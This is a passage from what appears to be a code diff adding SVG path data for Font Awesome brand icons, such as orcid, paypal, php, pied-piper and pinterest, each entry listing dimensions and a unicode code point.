52.2-1.1 6.8-4.3 6.8-9.7 4.3-21.9-9.8-27.6-35.2-22.2-54.9zm-35.4 31.3c7.8-1.1 15.7-1.9 23.5-2.7 1.6 6.2 3.8 11.9 7 17.6 10 17 44 35.7 45.1 7 6.2 14.9 40.8 12.2 54.9 10.8 15.7-1.4 23.8-1.4 26.8-14.3 12.4 4.3 30.8 4.1 44 3 11.3-.8 20.8-.5 24.6-8.9 1.1 5.1 1.9 11.6 4.6 16.8 10.8 21.3 37.3 1.4 46.8-31.6 8.6.8 17.6 1.9 26.5 2.7-.4 1.3-3.8 7.3 7.3 11.6-47.6 47-95.7 87.8-163.2 107-63.2-20.8-112.1-59.5-155.9-106.5 9.6-3.4 10.4-8.8 8-12.5zm-21.6 172.5c-3.8 17.8-21.9 29.7-39.7 28.9-19.2-.8-46.5-17-59.2-36.5-2.7-31.1 43.8-61.3 66.2-54.6 14.9 4.3 27.8 30.8 33.5 54 0 3-.3 5.7-.8 8.2zm-8.7-66c-.5-13.5-.5-27-.3-40.5h.3c2.7-1.6 5.7-3.8 7.8-6.5 6.5-1.6 13-5.1 15.1-9.2 3.3-7.1-7-7.5-5.4-12.4 2.7-1.1 5.7-2.2 7.8-3.5 29.2 29.2 58.6 56.5 97.3 77-36.8 11.3-72.4 27.6-105.9 47-1.2-18.6-7.7-35.9-16.7-51.9zm337.6 64.6c-103 3.5-206.2 4.1-309.4 0 0 .3 0 .3-.3.3v-.3h.3c35.1-21.6 72.2-39.2 112.4-50.8 11.6 5.1 23 9.5 34.9 13.2 2.2.8 2.2.8 4.3 0 14.3-4.1 28.4-9.2 42.2-15.4 41.5 11.7 78.8 31.7 115.6 53zm10.5-12.4c-35.9-19.5-73-35.9-111.9-47.6 38.1-20 71.9-47.3 103.5-76.7 2.2 1.4 4.6 2.4 7.6 3.2 0 .8.3 1.9.5 2.4-4.6 2.7-7.8 6.2-5.9 10.3 2.2 3.8 8.6 7.6 15.1 8.9 2.4 2.7 5.1 5.1 8.1 6.8 0 13.8-.3 27.6-.8 41.3l.3-.3c-9.3 15.9-15.5 37-16.5 51.7zm105.9 6.2c-12.7 19.5-40 35.7-59.2 36.5-19.3.9-40.5-13.2-40.5-37 5.7-23.2 18.9-49.7 33.5-54 22.7-6.9 69.2 23.4 66.2 54.5zM372.9 75.2c-3.8-72.1-100.8-79.7-126-23.5 44.6-24.3 90.3-15.7 126 23.5zM74.8 407.1c-15.7 1.6-49.5 25.4-49.5 43.2 0 11.6 15.7 19.5 32.2 14.9 12.2-3.2 31.1-17.6 35.9-27.3 6-11.6-3.7-32.7-18.6-30.8zm215.9-176.2c28.6 0 51.9-21.6 51.9-48.4 0-36.1-40.5-58.1-72.2-44.3 9.5 3 16.5 11.6 16.5 21.6 0 23.3-33.3 32-46.5 11.3-7.3 34.1 19.4 59.8 50.3 59.8zM68 474.1c.5 6.5 12.2 12.7 21.6 9.5 6.8-2.7 14.6-10.5 17.3-16.2 3-7-1.1-20-9.7-18.4-8.9 1.6-29.7 16.7-29.2 25.1zm433.2-67c-14.9-1.9-24.6 19.2-18.9 30.8 4.9 9.7 24.1 24.1 36.2 27.3 16.5 4.6 32.2-3.2 32.2-14.9 0-17.8-33.8-41.6-49.5-43.2zM478.8 449c-8.4-1.6-12.4 11.3-9.5 18.4 2.4 5.7 10.3 13.5 17.3 16.2 9.2 3.2 21.1-3 21.3-9.5.9-8.4-20.2-23.5-29.1-25.1z" ], + orcid: [ 512, 512, [], "f8d2", "M294.75 188.19h-45.92V342h47.47c67.62 0 83.12-51.34 83.12-76.91 0-41.64-26.54-76.9-84.67-76.9zM256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm-80.79 360.76h-29.84v-207.5h29.84zm-14.92-231.14a19.57 19.57 0 1 1 19.57-19.57 19.64 19.64 0 0 1-19.57 19.57zM300 369h-81V161.26h80.6c76.73 0 110.44 54.83 110.44 103.85C410 318.39 368.38 369 300 369z" ], + osi: [ 512, 512, [], "f41a", "M8 266.44C10.3 130.64 105.4 34 221.8 18.34c138.8-18.6 255.6 75.8 278 201.1 21.3 118.8-44 230-151.6 274-9.3 3.8-14.4 1.7-18-7.7q-26.7-69.45-53.4-139c-3.1-8.1-1-13.2 7-16.8 24.2-11 39.3-29.4 43.3-55.8a71.47 71.47 0 0 0-64.5-82.2c-39-3.4-71.8 23.7-77.5 59.7-5.2 33 11.1 63.7 41.9 77.7 9.6 4.4 11.5 8.6 7.8 18.4q-26.85 69.9-53.7 139.9c-2.6 6.9-8.3 9.3-15.5 6.5-52.6-20.3-101.4-61-130.8-119-24.9-49.2-25.2-87.7-26.8-108.7zm20.9-1.9c.4 6.6.6 14.3 1.3 22.1 6.3 71.9 49.6 143.5 131 183.1 3.2 1.5 4.4.8 5.6-2.3q22.35-58.65 45-117.3c1.3-3.3.6-4.8-2.4-6.7-31.6-19.9-47.3-48.5-45.6-86 1-21.6 9.3-40.5 23.8-56.3 30-32.7 77-39.8 115.5-17.6a91.64 91.64 0 0 1 45.2 90.4c-3.6 30.6-19.3 53.9-45.7 69.8-2.7 1.6-3.5 2.9-2.3 6q22.8 58.8 45.2 117.7c1.2 3.1 2.4 3.8 5.6 2.3 35.5-16.6 65.2-40.3 88.1-72 34.8-48.2 49.1-101.9 42.3-161-13.7-117.5-119.4-214.8-255.5-198-106.1 13-195.3 102.5-197.1 225.8z" ], + page4: [ 496, 512, [], "f3d7", "M248 504C111 504 0 393 0 256S111 8 248 8c20.9 0 41.3 2.6 60.7 7.5L42.3 392H248v112zm0-143.6V146.8L98.6 360.4H248zm96 31.6v92.7c45.7-19.2 84.5-51.7 111.4-92.7H344zm57.4-138.2l-21.2 8.4 21.2 8.3v-16.7zm-20.3 54.5c-6.7 0-8 6.3-8 12.9v7.7h16.2v-10c0-5.9-2.3-10.6-8.2-10.6zM496 256c0 37.3-8.2 72.7-23 104.4H344V27.3C433.3 64.8 496 153.1 496 256zM360.4 143.6h68.2V96h-13.9v32.6h-13.9V99h-13.9v29.6h-12.7V96h-13.9v47.6zm68.1 185.3H402v-11c0-15.4-5.6-25.2-20.9-25.2-15.4 0-20.7 10.6-20.7 25.9v25.3h68.2v-15zm0-103l-68.2 29.7V268l68.2 29.5v-16.6l-14.4-5.7v-26.5l14.4-5.9v-16.9zm-4.8-68.5h-35.6V184H402v-12.2h11c8.6 15.8 1.3 35.3-18.6 35.3-22.5 0-28.3-25.3-15.5-37.7l-11.6-10.6c-16.2 17.5-12.2 63.9 27.1 63.9 34 0 44.7-35.9 29.3-65.3z" ], + pagelines: [ 384, 512, [], "f18c", "M384 312.7c-55.1 136.7-187.1 54-187.1 54-40.5 81.8-107.4 134.4-184.6 134.7-16.1 0-16.6-24.4 0-24.4 64.4-.3 120.5-42.7 157.2-110.1-41.1 15.9-118.6 27.9-161.6-82.2 109-44.9 159.1 11.2 178.3 45.5 9.9-24.4 17-50.9 21.6-79.7 0 0-139.7 21.9-149.5-98.1 119.1-47.9 152.6 76.7 152.6 76.7 1.6-16.7 3.3-52.6 3.3-53.4 0 0-106.3-73.7-38.1-165.2 124.6 43 61.4 162.4 61.4 162.4.5 1.6.5 23.8 0 33.4 0 0 45.2-89 136.4-57.5-4.2 134-141.9 106.4-141.9 106.4-4.4 27.4-11.2 53.4-20 77.5 0 0 83-91.8 172-20z" ], + palfed: [ 576, 512, [], "f3d8", "M384.9 193.9c0-47.4-55.2-44.2-95.4-29.8-1.3 39.4-2.5 80.7-3 119.8.7 2.8 2.6 6.2 15.1 6.2 36.8 0 83.4-42.8 83.3-96.2zm-194.5 72.2c.2 0 6.5-2.7 11.2-2.7 26.6 0 20.7 44.1-14.4 44.1-21.5 0-37.1-18.1-37.1-43 0-42 42.9-95.6 100.7-126.5 1-12.4 3-22 10.5-28.2 11.2-9 26.6-3.5 29.5 11.1 72.2-22.2 135.2 1 135.2 72 0 77.9-79.3 152.6-140.1 138.2-.1 39.4.9 74.4 2.7 100v.2c.2 3.4.6 12.5-5.3 19.1-9.6 10.6-33.4 10-36.4-22.3-4.1-44.4.2-206.1 1.4-242.5-21.5 15-58.5 50.3-58.5 75.9.2 2.5.4 4 .6 4.6zM8 181.1s-.1 37.4 38.4 37.4h30l22.4 217.2s0 44.3 44.7 44.3h288.9s44.7-.4 44.7-44.3l22.4-217.2h30s38.4 1.2 38.4-37.4c0 0 .1-37.4-38.4-37.4h-30.1c-7.3-25.6-30.2-74.3-119.4-74.3h-28V50.3s-2.7-18.4-21.1-18.4h-85.8s-21.1 0-21.1 18.4v19.1h-28.1s-105 4.2-120.5 74.3h-29S8 142.5 8 181.1z" ], + patreon: [ 512, 512, [], "f3d9", "M512 194.8c0 101.3-82.4 183.8-183.8 183.8-101.7 0-184.4-82.4-184.4-183.8 0-101.6 82.7-184.3 184.4-184.3C429.6 10.5 512 93.2 512 194.8zM0 501.5h90v-491H0v491z" ], + paypal: [ 384, 512, [], "f1ed", "M111.4 295.9c-3.5 19.2-17.4 108.7-21.5 134-.3 1.8-1 2.5-3 2.5H12.3c-7.6 0-13.1-6.6-12.1-13.9L58.8 46.6c1.5-9.6 10.1-16.9 20-16.9 152.3 0 165.1-3.7 204 11.4 60.1 23.3 65.6 79.5 44 140.3-21.5 62.6-72.5 89.5-140.1 90.3-43.4.7-69.5-7-75.3 24.2zM357.1 152c-1.8-1.3-2.5-1.8-3 1.3-2 11.4-5.1 22.5-8.8 33.6-39.9 113.8-150.5 103.9-204.5 103.9-6.1 0-10.1 3.3-10.9 9.4-22.6 140.4-27.1 169.7-27.1 169.7-1 7.1 3.5 12.9 10.6 12.9h63.5c8.6 0 15.7-6.3 17.4-14.9.7-5.4-1.1 6.1 14.4-91.3 4.6-22 14.3-19.7 29.3-19.7 71 0 126.4-28.8 142.9-112.3 6.5-34.8 4.6-71.4-23.8-92.6z" ], + "penny-arcade": [ 640, 512, [], "f704", "M421.91 164.27c-4.49 19.45-1.4 6.06-15.1 65.29l39.73-10.61c-22.34-49.61-17.29-38.41-24.63-54.68zm-206.09 51.11c-20.19 5.4-11.31 3.03-39.63 10.58l4.46 46.19c28.17-7.59 20.62-5.57 34.82-9.34 42.3-9.79 32.85-56.42.35-47.43zm326.16-26.19l-45.47-99.2c-5.69-12.37-19.46-18.84-32.62-15.33-70.27 18.75-38.72 10.32-135.59 36.23a27.618 27.618 0 0 0-18.89 17.41C144.26 113.27 0 153.75 0 226.67c0 33.5 30.67 67.11 80.9 95.37l1.74 17.88a27.891 27.891 0 0 0-17.77 28.67l4.3 44.48c1.39 14.31 13.43 25.21 27.8 25.2 5.18-.01-3.01 1.78 122.53-31.76 12.57-3.37 21.12-15.02 20.58-28.02 216.59 45.5 401.99-5.98 399.89-84.83.01-28.15-22.19-66.56-97.99-104.47zM255.14 298.3l-21.91 5.88-48.44 12.91 2.46 23.55 20.53-5.51 4.51 44.51-115.31 30.78-4.3-44.52 20.02-5.35-11.11-114.64-20.12 5.39-4.35-44.5c178.15-47.54 170.18-46.42 186.22-46.65 56.66-1.13 64.15 71.84 42.55 104.43a86.7 86.7 0 0 1-50.75 33.72zm199.18 16.62l-3.89-39.49 14.9-3.98-6.61-14.68-57.76 15.42-4.1 17.54 19.2-5.12 4.05 39.54-112.85 30.07-4.46-44.43 20.99-5.59 33.08-126.47-17.15 4.56-4.2-44.48c93.36-24.99 65.01-17.41 135.59-36.24l66.67 145.47 20.79-5.56 4.3 44.48-108.55 28.96z" ], + perbyte: [ 448, 512, [], "e083", "M305.314,284.578H246.6V383.3h58.711q24.423,0,38.193-13.77t13.77-36.11q0-21.826-14.032-35.335T305.314,284.578ZM149.435,128.7H90.724v98.723h58.711q24.42,0,38.19-13.773t13.77-36.107q0-21.826-14.029-35.338T149.435,128.7ZM366.647,32H81.353A81.445,81.445,0,0,0,0,113.352V398.647A81.445,81.445,0,0,0,81.353,480H366.647A81.445,81.445,0,0,0,448,398.647V113.352A81.445,81.445,0,0,0,366.647,32Zm63.635,366.647a63.706,63.706,0,0,1-63.635,63.635H81.353a63.706,63.706,0,0,1-63.635-63.635V113.352A63.706,63.706,0,0,1,81.353,49.718H366.647a63.706,63.706,0,0,1,63.635,63.634ZM305.314,128.7H246.6v98.723h58.711q24.423,0,38.193-13.773t13.77-36.107q0-21.826-14.032-35.338T305.314,128.7Z" ], + periscope: [ 448, 512, [], "f3da", "M370 63.6C331.4 22.6 280.5 0 226.6 0 111.9 0 18.5 96.2 18.5 214.4c0 75.1 57.8 159.8 82.7 192.7C137.8 455.5 192.6 512 226.6 512c41.6 0 112.9-94.2 120.9-105 24.6-33.1 82-118.3 82-192.6 0-56.5-21.1-110.1-59.5-150.8zM226.6 493.9c-42.5 0-190-167.3-190-279.4 0-107.4 83.9-196.3 190-196.3 100.8 0 184.7 89 184.7 196.3.1 112.1-147.4 279.4-184.7 279.4zM338 206.8c0 59.1-51.1 109.7-110.8 109.7-100.6 0-150.7-108.2-92.9-181.8v.4c0 24.5 20.1 44.4 44.8 44.4 24.7 0 44.8-19.9 44.8-44.4 0-18.2-11.1-33.8-26.9-40.7 76.6-19.2 141 39.3 141 112.4z" ], + phabricator: [ 496, 512, [], "f3db", "M323 262.1l-.1-13s21.7-19.8 21.1-21.2l-9.5-20c-.6-1.4-29.5-.5-29.5-.5l-9.4-9.3s.2-28.5-1.2-29.1l-20.1-9.2c-1.4-.6-20.7 21-20.7 21l-13.1-.2s-20.5-21.4-21.9-20.8l-20 8.3c-1.4.5.2 28.9.2 28.9l-9.1 9.1s-29.2-.9-29.7.4l-8.1 19.8c-.6 1.4 21 21 21 21l.1 12.9s-21.7 19.8-21.1 21.2l9.5 20c.6 1.4 29.5.5 29.5.5l9.4 9.3s-.2 31.8 1.2 32.3l20.1 8.3c1.4.6 20.7-23.5 20.7-23.5l13.1.2s20.5 23.8 21.8 23.3l20-7.5c1.4-.6-.2-32.1-.2-32.1l9.1-9.1s29.2.9 29.7-.5l8.1-19.8c.7-1.1-20.9-20.7-20.9-20.7zm-44.9-8.7c.7 17.1-12.8 31.6-30.1 32.4-17.3.8-32.1-12.5-32.8-29.6-.7-17.1 12.8-31.6 30.1-32.3 17.3-.8 32.1 12.5 32.8 29.5zm201.2-37.9l-97-97-.1.1c-75.1-73.3-195.4-72.8-269.8 1.6-50.9 51-27.8 27.9-95.7 95.3-22.3 22.3-22.3 58.7 0 81 69.9 69.4 46.4 46 97.4 97l.1-.1c75.1 73.3 195.4 72.9 269.8-1.6 51-50.9 27.9-27.9 95.3-95.3 22.3-22.3 22.3-58.7 0-81zM140.4 363.8c-59.6-59.5-59.6-156 0-215.5 59.5-59.6 156-59.5 215.6 0 59.5 59.5 59.6 156 0 215.6-59.6 59.5-156 59.4-215.6-.1z" ], + "phoenix-framework": [ 640, 512, [], "f3dc", "M212.9 344.3c3.8-.1 22.8-1.4 25.6-2.2-2.4-2.6-43.6-1-68-49.6-4.3-8.6-7.5-17.6-6.4-27.6 2.9-25.5 32.9-30 52-18.5 36 21.6 63.3 91.3 113.7 97.5 37 4.5 84.6-17 108.2-45.4-.6-.1-.8-.2-1-.1-.4.1-.8.2-1.1.3-33.3 12.1-94.3 9.7-134.7-14.8-37.6-22.8-53.1-58.7-51.8-74.6 1.8-21.3 22.9-23.2 35.9-19.6 14.4 3.9 24.4 17.6 38.9 27.4 15.6 10.4 32.9 13.7 51.3 10.3 14.9-2.7 34.4-12.3 36.5-14.5-1.1-.1-1.8-.1-2.5-.2-6.2-.6-12.4-.8-18.5-1.7C279.8 194.5 262.1 47.4 138.5 37.9 94.2 34.5 39.1 46 2.2 72.9c-.8.6-1.5 1.2-2.2 1.8.1.2.1.3.2.5.8 0 1.6-.1 2.4-.2 6.3-1 12.5-.8 18.7.3 23.8 4.3 47.7 23.1 55.9 76.5 5.3 34.3-.7 50.8 8 86.1 19 77.1 91 107.6 127.7 106.4zM75.3 64.9c-.9-1-.9-1.2-1.3-2 12.1-2.6 24.2-4.1 36.6-4.8-1.1 14.7-22.2 21.3-35.3 6.8zm196.9 350.5c-42.8 1.2-92-26.7-123.5-61.4-4.6-5-16.8-20.2-18.6-23.4l.4-.4c6.6 4.1 25.7 18.6 54.8 27 24.2 7 48.1 6.3 71.6-3.3 22.7-9.3 41-.5 43.1 2.9-18.5 3.8-20.1 4.4-24 7.9-5.1 4.4-4.6 11.7 7 17.2 26.2 12.4 63-2.8 97.2 25.4 2.4 2 8.1 7.8 10.1 10.7-.1.2-.3.3-.4.5-4.8-1.5-16.4-7.5-40.2-9.3-24.7-2-46.3 5.3-77.5 6.2zm174.8-252c16.4-5.2 41.3-13.4 66.5-3.3 16.1 6.5 26.2 18.7 32.1 34.6 3.5 9.4 5.1 19.7 5.1 28.7-.2 0-.4 0-.6.1-.2-.4-.4-.9-.5-1.3-5-22-29.9-43.8-67.6-29.9-50.2 18.6-130.4 9.7-176.9-48-.7-.9-2.4-1.7-1.3-3.2.1-.2 2.1.6 3 1.3 18.1 13.4 38.3 21.9 60.3 26.2 30.5 6.1 54.6 2.9 79.9-5.2zm102.7 117.5c-32.4.2-33.8 50.1-103.6 64.4-18.2 3.7-38.7 4.6-44.9 4.2v-.4c2.8-1.5 14.7-2.6 29.7-16.6 7.9-7.3 15.3-15.1 22.8-22.9 19.5-20.2 41.4-42.2 81.9-39 23.1 1.8 29.3 8.2 36.1 12.7.3.2.4.5.7.9-.5 0-.7.1-.9 0-7-2.7-14.3-3.3-21.8-3.3zm-12.3-24.1c-.1.2-.1.4-.2.6-28.9-4.4-48-7.9-68.5 4-17 9.9-31.4 20.5-62 24.4-27.1 3.4-45.1 2.4-66.1-8-.3-.2-.6-.4-1-.6 0-.2.1-.3.1-.5 24.9 3.8 36.4 5.1 55.5-5.8 22.3-12.9 40.1-26.6 71.3-31 29.6-4.1 51.3 2.5 70.9 16.9zM268.6 97.3c-.6-.6-1.1-1.2-2.1-2.3 7.6 0 29.7-1.2 53.4 8.4 19.7 8 32.2 21 50.2 32.9 11.1 7.3 23.4 9.3 36.4 8.1 4.3-.4 8.5-1.2 12.8-1.7.4-.1.9 0 1.5.3-.6.4-1.2.9-1.8 1.2-8.1 4-16.7 6.3-25.6 7.1-26.1 2.6-50.3-3.7-73.4-15.4-19.3-9.9-36.4-22.9-51.4-38.6zM640 335.7c-3.5 3.1-22.7 11.6-42.7 5.3-12.3-3.9-19.5-14.9-31.6-24.1-10-7.6-20.9-7.9-28.1-8.4.6-.8.9-1.2 1.2-1.4 14.8-9.2 30.5-12.2 47.3-6.5 12.5 4.2 19.2 13.5 30.4 24.2 10.8 10.4 21 9.9 23.1 10.5.1-.1.2 0 .4.4zm-212.5 137c2.2 1.2 1.6 1.5 1.5 2-18.5-1.4-33.9-7.6-46.8-22.2-21.8-24.7-41.7-27.9-48.6-29.7.5-.2.8-.4 1.1-.4 13.1.1 26.1.7 38.9 3.9 25.3 6.4 35 25.4 41.6 35.3 3.2 4.8 7.3 8.3 12.3 11.1z" ], + "phoenix-squadron": [ 512, 512, [], "f511", "M96 63.38C142.49 27.25 201.55 7.31 260.51 8.81c29.58-.38 59.11 5.37 86.91 15.33-24.13-4.63-49-6.34-73.38-2.45C231.17 27 191 48.84 162.21 80.87c5.67-1 10.78-3.67 16-5.86 18.14-7.87 37.49-13.26 57.23-14.83 19.74-2.13 39.64-.43 59.28 1.92-14.42 2.79-29.12 4.57-43 9.59-34.43 11.07-65.27 33.16-86.3 62.63-13.8 19.71-23.63 42.86-24.67 67.13-.35 16.49 5.22 34.81 19.83 44a53.27 53.27 0 0 0 37.52 6.74c15.45-2.46 30.07-8.64 43.6-16.33 11.52-6.82 22.67-14.55 32-24.25 3.79-3.22 2.53-8.45 2.62-12.79-2.12-.34-4.38-1.11-6.3.3a203 203 0 0 1-35.82 15.37c-20 6.17-42.16 8.46-62.1.78 12.79 1.73 26.06.31 37.74-5.44 20.23-9.72 36.81-25.2 54.44-38.77a526.57 526.57 0 0 1 88.9-55.31c25.71-12 52.94-22.78 81.57-24.12-15.63 13.72-32.15 26.52-46.78 41.38-14.51 14-27.46 29.5-40.11 45.18-3.52 4.6-8.95 6.94-13.58 10.16a150.7 150.7 0 0 0-51.89 60.1c-9.33 19.68-14.5 41.85-11.77 63.65 1.94 13.69 8.71 27.59 20.9 34.91 12.9 8 29.05 8.07 43.48 5.1 32.8-7.45 61.43-28.89 81-55.84 20.44-27.52 30.52-62.2 29.16-96.35-.52-7.5-1.57-15-1.66-22.49 8 19.48 14.82 39.71 16.65 60.83 2 14.28.75 28.76-1.62 42.9-1.91 11-5.67 21.51-7.78 32.43a165 165 0 0 0 39.34-81.07 183.64 183.64 0 0 0-14.21-104.64c20.78 32 32.34 69.58 35.71 107.48.49 12.73.49 25.51 0 38.23A243.21 243.21 0 0 1 482 371.34c-26.12 47.34-68 85.63-117.19 108-78.29 36.23-174.68 31.32-248-14.68A248.34 248.34 0 0 1 25.36 366 238.34 238.34 0 0 1 0 273.08v-31.34C3.93 172 40.87 105.82 96 63.38m222 80.33a79.13 79.13 0 0 0 16-4.48c5-1.77 9.24-5.94 10.32-11.22-8.96 4.99-17.98 9.92-26.32 15.7z" ], + php: [ 640, 512, [], "f457", "M320 104.5c171.4 0 303.2 72.2 303.2 151.5S491.3 407.5 320 407.5c-171.4 0-303.2-72.2-303.2-151.5S148.7 104.5 320 104.5m0-16.8C143.3 87.7 0 163 0 256s143.3 168.3 320 168.3S640 349 640 256 496.7 87.7 320 87.7zM218.2 242.5c-7.9 40.5-35.8 36.3-70.1 36.3l13.7-70.6c38 0 63.8-4.1 56.4 34.3zM97.4 350.3h36.7l8.7-44.8c41.1 0 66.6 3 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7h-70.7L97.4 350.3zm185.7-213.6h36.5l-8.7 44.8c31.5 0 60.7-2.3 74.8 10.7 14.8 13.6 7.7 31-8.3 113.1h-37c15.4-79.4 18.3-86 12.7-92-5.4-5.8-17.7-4.6-47.4-4.6l-18.8 96.6h-36.5l32.7-168.6zM505 242.5c-8 41.1-36.7 36.3-70.1 36.3l13.7-70.6c38.2 0 63.8-4.1 56.4 34.3zM384.2 350.3H421l8.7-44.8c43.2 0 67.1 2.5 90.2-19.1 26.1-24 32.9-66.7 14.3-88.1-9.7-11.2-25.3-16.7-46.5-16.7H417l-32.8 168.7z" ], + "pied-piper": [ 480, 512, [], "f2ae", "M455.93,23.2C429.23,30,387.79,51.69,341.35,90.66A206,206,0,0,0,240,64C125.13,64,32,157.12,32,272s93.13,208,208,208,208-93.13,208-208a207.25,207.25,0,0,0-58.75-144.81,155.35,155.35,0,0,0-17,27.4A176.16,176.16,0,0,1,417.1,272c0,97.66-79.44,177.11-177.09,177.11a175.81,175.81,0,0,1-87.63-23.4c82.94-107.33,150.79-37.77,184.31-226.65,5.79-32.62,28-94.26,126.23-160.18C471,33.45,465.35,20.8,455.93,23.2ZM125,406.4A176.66,176.66,0,0,1,62.9,272C62.9,174.34,142.35,94.9,240,94.9a174,174,0,0,1,76.63,17.75C250.64,174.76,189.77,265.52,125,406.4Z" ], + "pied-piper-alt": [ 576, 512, [], "f1a8", "M244 246c-3.2-2-6.3-2.9-10.1-2.9-6.6 0-12.6 3.2-19.3 3.7l1.7 4.9zm135.9 197.9c-19 0-64.1 9.5-79.9 19.8l6.9 45.1c35.7 6.1 70.1 3.6 106-9.8-4.8-10-23.5-55.1-33-55.1zM340.8 177c6.6 2.8 11.5 9.2 22.7 22.1 2-1.4 7.5-5.2 7.5-8.6 0-4.9-11.8-13.2-13.2-23 11.2-5.7 25.2-6 37.6-8.9 68.1-16.4 116.3-52.9 146.8-116.7C548.3 29.3 554 16.1 554.6 2l-2 2.6c-28.4 50-33 63.2-81.3 100-31.9 24.4-69.2 40.2-106.6 54.6l-6.3-.3v-21.8c-19.6 1.6-19.7-14.6-31.6-23-18.7 20.6-31.6 40.8-58.9 51.1-12.7 4.8-19.6 10-25.9 21.8 34.9-16.4 91.2-13.5 98.8-10zM555.5 0l-.6 1.1-.3.9.6-.6zm-59.2 382.1c-33.9-56.9-75.3-118.4-150-115.5l-.3-6c-1.1-13.5 32.8 3.2 35.1-31l-14.4 7.2c-19.8-45.7-8.6-54.3-65.5-54.3-14.7 0-26.7 1.7-41.4 4.6 2.9 18.6 2.2 36.7-10.9 50.3l19.5 5.5c-1.7 3.2-2.9 6.3-2.9 9.8 0 21 42.8 2.9 42.8 33.6 0 18.4-36.8 60.1-54.9 60.1-8 0-53.7-50-53.4-60.1l.3-4.6 52.3-11.5c13-2.6 12.3-22.7-2.9-22.7-3.7 0-43.1 9.2-49.4 10.6-2-5.2-7.5-14.1-13.8-14.1-3.2 0-6.3 3.2-9.5 4-9.2 2.6-31 2.9-21.5 20.1L15.9 298.5c-5.5 1.1-8.9 6.3-8.9 11.8 0 6 5.5 10.9 11.5 10.9 8 0 131.3-28.4 147.4-32.2 2.6 3.2 4.6 6.3 7.8 8.6 20.1 14.4 59.8 85.9 76.4 85.9 24.1 0 58-22.4 71.3-41.9 3.2-4.3 6.9-7.5 12.4-6.9.6 13.8-31.6 34.2-33 43.7-1.4 10.2-1 35.2-.3 41.1 26.7 8.1 52-3.6 77.9-2.9 4.3-21 10.6-41.9 9.8-63.5l-.3-9.5c-1.4-34.2-10.9-38.5-34.8-58.6-1.1-1.1-2.6-2.6-3.7-4 2.2-1.4 1.1-1 4.6-1.7 88.5 0 56.3 183.6 111.5 229.9 33.1-15 72.5-27.9 103.5-47.2-29-25.6-52.6-45.7-72.7-79.9zm-196.2 46.1v27.2l11.8-3.4-2.9-23.8zm-68.7-150.4l24.1 61.2 21-13.8-31.3-50.9zm84.4 154.9l2 12.4c9-1.5 58.4-6.6 58.4-14.1 0-1.4-.6-3.2-.9-4.6-26.8 0-36.9 3.8-59.5 6.3z" ], + "pied-piper-hat": [ 640, 512, [], "f4e5", "M640 24.9c-80.8 53.6-89.4 92.5-96.4 104.4-6.7 12.2-11.7 60.3-23.3 83.6-11.7 23.6-54.2 42.2-66.1 50-11.7 7.8-28.3 38.1-41.9 64.2-108.1-4.4-167.4 38.8-259.2 93.6 29.4-9.7 43.3-16.7 43.3-16.7 94.2-36 139.3-68.3 281.1-49.2 1.1 0 1.9.6 2.8.8 3.9 2.2 5.3 6.9 3.1 10.8l-53.9 95.8c-2.5 4.7-7.8 7.2-13.1 6.1-126.8-23.8-226.9 17.3-318.9 18.6C24.1 488 0 453.4 0 451.8c0-1.1.6-1.7 1.7-1.7 0 0 38.3 0 103.1-15.3C178.4 294.5 244 245.4 315.4 245.4c0 0 71.7 0 90.6 61.9 22.8-39.7 28.3-49.2 28.3-49.2 5.3-9.4 35-77.2 86.4-141.4 51.5-64 90.4-79.9 119.3-91.8z" ], + "pied-piper-pp": [ 448, 512, [], "f1a7", "M205.3 174.6c0 21.1-14.2 38.1-31.7 38.1-7.1 0-12.8-1.2-17.2-3.7v-68c4.4-2.7 10.1-4.2 17.2-4.2 17.5 0 31.7 16.9 31.7 37.8zm52.6 67c-7.1 0-12.8 1.5-17.2 4.2v68c4.4 2.5 10.1 3.7 17.2 3.7 17.4 0 31.7-16.9 31.7-37.8 0-21.1-14.3-38.1-31.7-38.1zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zM185 255.1c41 0 74.2-35.6 74.2-79.6 0-44-33.2-79.6-74.2-79.6-12 0-24.1 3.2-34.6 8.8h-45.7V311l51.8-10.1v-50.6c8.6 3.1 18.1 4.8 28.5 4.8zm158.4 25.3c0-44-33.2-79.6-73.9-79.6-3.2 0-6.4.2-9.6.7-3.7 12.5-10.1 23.8-19.2 33.4-13.8 15-32.2 23.8-51.8 24.8V416l51.8-10.1v-50.6c8.6 3.2 18.2 4.7 28.7 4.7 40.8 0 74-35.6 74-79.6z" ], + "pied-piper-square": [ 448, 512, [], "e01e", "M32 419L0 479.2l.8-328C.8 85.3 54 32 120 32h327.2c-93 28.9-189.9 94.2-253.9 168.6C122.7 282 82.6 338 32 419M448 32S305.2 98.8 261.6 199.1c-23.2 53.6-28.9 118.1-71 158.6-28.9 27.8-69.8 38.2-105.3 56.3-23.2 12-66.4 40.5-84.9 66h328.4c66 0 119.3-53.3 119.3-119.2-.1 0-.1-328.8-.1-328.8z" ], + pinterest: [ 496, 512, [], "f0d2", "M496 256c0 137-111 248-248 248-25.6 0-50.2-3.9-73.4-11.1 10.1-16.5 25.2-43.5 30.8-65 3-11.6 15.4-59 15.4-59 8.1 15.4 31.7 28.5 56.8 28.5 74.8 0 128.7-68.8 128.7-154.3 0-81.9-66.9-143.2-152.9-143.2-107 0-163.9 71.8-163.9 150.1 0 36.4 19.4 81.7 50.3 96.1 4.7 2.2 7.2 1.2 8.3-3.3.8-3.4 5-20.3 6.9-28.1.6-2.5.3-4.7-1.7-7.1-10.1-12.5-18.3-35.3-18.3-56.6 0-54.7 41.4-107.6 112-107.6 60.9 0 103.6 41.5 103.6 100.9 0 67.1-33.9 113.6-78 113.6-24.3 0-42.6-20.1-36.7-44.8 7-29.5 20.5-61.3 20.5-82.6 0-19-10.2-34.9-31.4-34.9-24.9 0-44.9 25.7-44.9 60.2 0 22 7.4 36.8 7.4 36.8s-24.5 103.8-29 123.2c-5 21.4-3 51.6-.9 71.2C65.4 450.9 0 361.1 0 256 0 119 111 8 248 8s248 111 248 248z" ], + "pinterest-p": [ 384, 512, [], "f231", "M204 6.5C101.4 6.5 0 74.9 0 185.6 0 256 39.6 296 63.6 296c9.9 0 15.6-27.6 15.6-35.4 0-9.3-23.7-29.1-23.7-67.8 0-80.4 61.2-137.4 140.4-137.4 68.1 0 118.5 38.7 118.5 109.8 0 53.1-21.3 152.7-90.3 152.7-24.9 